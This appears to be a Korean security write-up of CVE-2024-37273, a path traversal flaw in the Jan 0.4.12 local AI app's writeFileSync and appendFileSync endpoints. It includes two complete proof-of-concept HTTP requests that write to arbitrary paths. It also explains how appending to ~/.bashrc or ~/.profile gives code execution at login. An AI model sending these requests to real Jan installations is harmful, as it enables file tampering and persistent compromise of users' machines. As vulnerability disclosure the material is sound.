[하루한줄] CVE-2024-37273 : Jan의 임의 파일 업로드 취약점

URL

https://github.com/HackAllSec/CVEs/tree/main/Jan Arbitrary File Upload vulnerability

Target

  • Jan 0.4.12

Explain

Jan은 100% 오프라인으로 동작하는 ChatGPT 대안으로써 기존 ChatGPT 등을 사용할 때와는 달리 데이터가 외부로 유출될 걱정이 없다는 것과 무료이고 오픈 소스라는 특징이 있습니다.

또한 OpenAI와 동일한 기능을 하도록 /threads, /messages 등의 API가 구현되어 있고 시간이 지날 수록 지원하는 API가 점점 많아지고 있습니다.

이들 중에서도 writeFileSync와 appendFileSync API에서 파라미터 검증을 전혀 수행하지 않아 임의의 경로에 파일을 업로드할 수 있는 취약점이 발생했습니다.

먼저 아래는 writeFileSync를 통해 /tmp/a.txt 파일에 “abc”라는 데이터를 쓰는 poc입니다.

POST /v1/app/writeFileSync HTTP/1.1
Host: {{Host}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Referer: http://<IP>:<Port>
contentType: application/json
Content-Type: text/plain;charset=UTF-8
Content-Length: 35
Origin: http://<IP>:<Port>
Connection: close

["/../../../../../tmp/a.txt","abc"]

/v1/app/writeFileSync 엔드포인트에 파라미터로 파일 경로와 데이터를 전달하고 있음을 알 수 있습니다. 파일 경로로 전달된 /../../../../../tmp/a.txt에 포함된 Path Traversal을 필터링하지 않기 때문에 /tmp/a.txt 파일에 데이터가 쓰이게 됩니다.

마찬가지로 appendFileSync도 아래와 같이 익스플로잇할 수 있습니다

POST /v1/app/appendFileSync HTTP/1.1
Host: {{Host}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Referer: http://<IP>:<Port>
contentType: application/json
Content-Type: text/plain;charset=UTF-8
Content-Length: 48
Origin: http://<IP>:<Port>
Connection: close

["file:/../../../../../../tmp/a.txt","bbb  ccc"]

writeFileSync와는 다르게 파일 경로 문자열 앞에 file:이 추가된 모습이고 /tmp/a.txt 파일의 끝에 “bbb ccc”라는 문자열을 추가하는 동작을 합니다.

이를 통해 스케쥴링된 작업과 관련된 파일이나 ~/.profile, ~/.bashrc 등에 데이터를 추가하는 것으로 부팅 혹은 사용자 로그인 시마다 공격자가 설정한 코드가 실행되도록 하는 것이 가능합니다.